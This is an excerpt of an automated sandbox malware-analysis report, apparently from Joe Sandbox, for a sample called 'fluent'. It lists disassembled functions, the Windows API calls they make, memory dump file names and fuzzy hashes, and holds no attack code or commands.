Part of subcall function 006FB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 006FB579
Part of subcall function 006FB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 006FB58A
Part of subcall function 006FB568: IsDialogMessageW.USER32(00010472,?), ref: 006FB59E
Part of subcall function 006FB568: TranslateMessage.USER32(?), ref: 006FB5AC
Part of subcall function 006FB568: DispatchMessageW.USER32(?), ref: 006FB5B6

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 2dc866bec2766cb5c0ef57a80c57b0bb5fe4af585118d9b96491105821d13afb
Instruction ID: befdf1115d3387aceed049939e52ba5c3b1274f3ff4eb28620aa799ef5efe463
Opcode Fuzzy Hash: 2dc866bec2766cb5c0ef57a80c57b0bb5fe4af585118d9b96491105821d13afb
Instruction Fuzzy Hash: E4D09E31144304BBD6512B51CD06F1A7AA3AB99B04F004559B384740B1C6769E21DB1A

Function 006E98BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,006E97BE), ref: 006E98C8

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 833eed6b625af49b88805a9a4713a146aa4da5d308753313cb44459baa88bf43
Instruction ID: 22a551c12bbd3c70b01bab8df170df78e3d56f501eceb96d69d36d7935e39e0c
Opcode Fuzzy Hash: 833eed6b625af49b88805a9a4713a146aa4da5d308753313cb44459baa88bf43
Instruction Fuzzy Hash: 1DC01234401345858E20462698440DA7313AE933657B4CB95C028892F1C326CC47EA21

Function 006E9F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,006E903E,?,?,-00000870,?,?,?,?,00000000,?,-00000974,?,?,?,?), ref: 006E9F0C

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 0e87aeb8b383f8838ddd9054bd4c23fd53c511d40be3c2793bca567853a46e94
Instruction ID: f1b17a3f3fa61eac2209e4a85828f9fd1c0ef563c3a3065521e949d72d5bc547
Opcode Fuzzy Hash: 0e87aeb8b383f8838ddd9054bd4c23fd53c511d40be3c2793bca567853a46e94
Instruction Fuzzy Hash: 2EA0113008000A8A8E002B30CA0808C3B22EB20BC030082A8A00ACA0A2CB2A880B8A00

Function 006FAC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?), ref: 006FAC08

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: fb34864ce674e9d26bac6e9f721d80c126048447edf3ee1e166ad2376fc365f9
Instruction ID: 14c685c16f6e1cf3d96da959187263f1cd9675f6b00d5c2b96d7d76322fa1f76
Opcode Fuzzy Hash: fb34864ce674e9d26bac6e9f721d80c126048447edf3ee1e166ad2376fc365f9
Instruction Fuzzy Hash: 5DA012301001009786000B328F0554E76556F51710F00C024600080070C738C820B504

Function 008C4598 Relevance: 1.3, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 008C45C3

Memory Dump Source

Source File: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmp, Offset: 00757000, based on PE: true

Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3a2dee930eac5bebf3917e1c76b693dc51861049f383d4f47ff8c78571bbcc77
Instruction ID: 1cc8be501de7f137076fcdec9be202f60911b5558bc5a41e9e2d09b21ec2197c
Opcode Fuzzy Hash: 3a2dee930eac5bebf3917e1c76b693dc51861049f383d4f47ff8c78571bbcc77
Instruction Fuzzy Hash: 83E0E2B6300208ABDB10CE8CD994FAA33EDF788710F108025FA09D7280C234EC909B66

Non-executed Functions

Function 006E32F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006E3300
_swprintf.LIBCMT ref: 006E36C7

Strings

h%u, xrefs: 006E36BC
hc%u, xrefs: 006E370A
CMT, xrefs: 006E3A17

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: 153b07a7cde64b9a4c662c6e601fd4209f8c1ec0a3aa1b9dcb9db912e32df714
Instruction ID: 7e87d6a47c1e26ec8ccecfc28e1b3e264501f3972b5a6b34d4741745881b37bc
Opcode Fuzzy Hash: 153b07a7cde64b9a4c662c6e601fd4209f8c1ec0a3aa1b9dcb9db912e32df714
Instruction Fuzzy Hash: 9832D2715123D4AFDB54DF75C899AEA3BA6AF15300F04047DFD8A8B382DB709A49CB24

Function 006E286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006E2874
_strlen.LIBCMT ref: 006E2E3F

Part of subcall function 006F02BA: __EH_prolog.LIBCMT ref: 006F02BF

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006E2F91

Strings

CMT, xrefs: 006E2FBC

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog$Unothrow_t@std@@@__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1057911484-2756464174
Opcode ID: bf5043a5607a8bef7fec5813d2c1612f1acf0f1328b1073bb963d87f3c16b841
Instruction ID: cfcfb2f9847915d656c6990fce5b4201d0dafe5d4f5b065617cf8c77cb93af23
Opcode Fuzzy Hash: bf5043a5607a8bef7fec5813d2c1612f1acf0f1328b1073bb963d87f3c16b841
Instruction Fuzzy Hash: 7E6226715013C58FDB19CF35C896AEA3BA7AF54300F08457EED9A8B382DB759946CB20

Function 006E40FE Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

gj, xrefs: 006E41BC

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: cf9e0ad5448fc2f97d76746422fe8e2e6a204237991126ce1594d9f14dd8b3ac
Instruction ID: 26b8c3d87777c89318ddd8d2c5763312749db4989a4d0fb9f8e14723eb4b342e
Opcode Fuzzy Hash: cf9e0ad5448fc2f97d76746422fe8e2e6a204237991126ce1594d9f14dd8b3ac
Instruction Fuzzy Hash: E1C13776A183818FC354CF29D880A5AFBE1BFC8308F19892DE998D7351D734E945CB96

Function 00704F9A Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 0070510A

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction ID: fbd3b1cf7115ab7054e530578798c6979dfdb32f1b27f636580dc0feb8d6b212
Opcode Fuzzy Hash: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction Fuzzy Hash: ED5149B1600F49D7DF345638855ABBF27C59B01304F180B19EA82CB2C2C65DED45CFA6

Function 04F24559 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

b=q=, xrefs: 04F245BF

Memory Dump Source

Source File: 00000000.00000002.1697190348.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f20000_fluent.jbxd

Similarity

API ID:
String ID: b=q=
API String ID: 0-4069823217
Opcode ID: 1eea809ff47755f36f4d44d512b906b218fed69a3a009f451abeb400a6c7ed6b
Instruction ID: f42fb7467be272916edfab5bb5ab41b0a6b8b53565336c29bc19625403794202
Opcode Fuzzy Hash: 1eea809ff47755f36f4d44d512b906b218fed69a3a009f451abeb400a6c7ed6b
Instruction Fuzzy Hash: 433128319493A7AFCB328E3844512C7BFF6AF566013E559AFC4C08B406D72154D7DB86

Function 008C496C Relevance: 1.1, Instructions: 1070COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmp, Offset: 00757000, based on PE: true

Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 139c4042e7ef1df2de0cdc48b50447ba77737e29cd428b0b044c98c18241835e
Instruction ID: f7422ea01ffa30989967ef01c806505cd93ac859534852e7caef55d1f9f9bf52
Opcode Fuzzy Hash: 139c4042e7ef1df2de0cdc48b50447ba77737e29cd428b0b044c98c18241835e
Instruction Fuzzy Hash: 2E81176160D7C44FC7138B6888A9A963FB0EF17300B0A05DAD5C1CF2B3D225AD5ADB96

Function 006F62CA Relevance: .8, Instructions: 829COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65c97f2002aada7871dd217f58149a810aa8f2f5665f5defa00c375d1f9d6c32
Instruction ID: 8fe552b36a33040fc534b9cf950690c96b7a46836fcc828a5052bb3cb94daf78
Opcode Fuzzy Hash: 65c97f2002aada7871dd217f58149a810aa8f2f5665f5defa00c375d1f9d6c32
Instruction Fuzzy Hash: 2762C5716047899FCB25CF28C4906F9BBE2BF95304F08896DE9EA8B346D734E945CB11

Function 006F77EF Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 769efa0c42816c00807ca40c49ef6cd4ce15f8447bc3c105b5c28df9457f4b61
Instruction ID: 77f1703b4008def31ceb0534da343425e0c0293d6b20f02d9bb900e9abc9d8eb
Opcode Fuzzy Hash: 769efa0c42816c00807ca40c49ef6cd4ce15f8447bc3c105b5c28df9457f4b61
Instruction Fuzzy Hash: B462DA7160C3898FCB15CF28C8909B9BBE2BF95304F1885ADED9A8B346D730E945CB55

Function 006EF461 Relevance: .7, Instructions: 693COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 808882c8f0744024f531697e40c02e500daf3b02265344c0178748e1d7f9cf84
Instruction ID: b58ccaa60cd26fba59000e8c807231752e4708a57f3f084a02f9d3326a248372
Opcode Fuzzy Hash: 808882c8f0744024f531697e40c02e500daf3b02265344c0178748e1d7f9cf84
Instruction Fuzzy Hash: 2C523972A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B255D334EA19CB86

Function 006EF4DD Relevance: .7, Instructions: 652COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8536569f9ccf3a9d16f98c1554f20613a53ef6c686f0846119169b46a61595a0
Instruction ID: f97240ce01eec681a7efcf466e05cdacf4823c35a7548de1fb5d9de896383f5a
Opcode Fuzzy Hash: 8536569f9ccf3a9d16f98c1554f20613a53ef6c686f0846119169b46a61595a0
Instruction Fuzzy Hash: 98525C726147018FC718CF19C891A6AF7E1FFCC304F498A2DE5969B255D334EA19CB86

Function 006F7153 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13df48c0bc3f4ca174db183d0030571e38ed1494252f348f76b6acd17919a044
Instruction ID: e2bd61bb6189e15661d336387b641e87e78173c967e33b5d8d49cbef71527d57
Opcode Fuzzy Hash: 13df48c0bc3f4ca174db183d0030571e38ed1494252f348f76b6acd17919a044
Instruction Fuzzy Hash: 3812E4B161870A9FC718CF28C890AB9B7E2FF94304F14492EEA96C7780D774E995CB45

Function 006EC426 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78bc06df6db5cfb4ee2f523a95e1ee3df55fff937de2f423de7d0708ebd1c452
Instruction ID: 2d2ff6fac95525e1260c7090591bdc42a3c819d7d4a6b2477d2d20c2b3104b9c
Opcode Fuzzy Hash: 78bc06df6db5cfb4ee2f523a95e1ee3df55fff937de2f423de7d0708ebd1c452
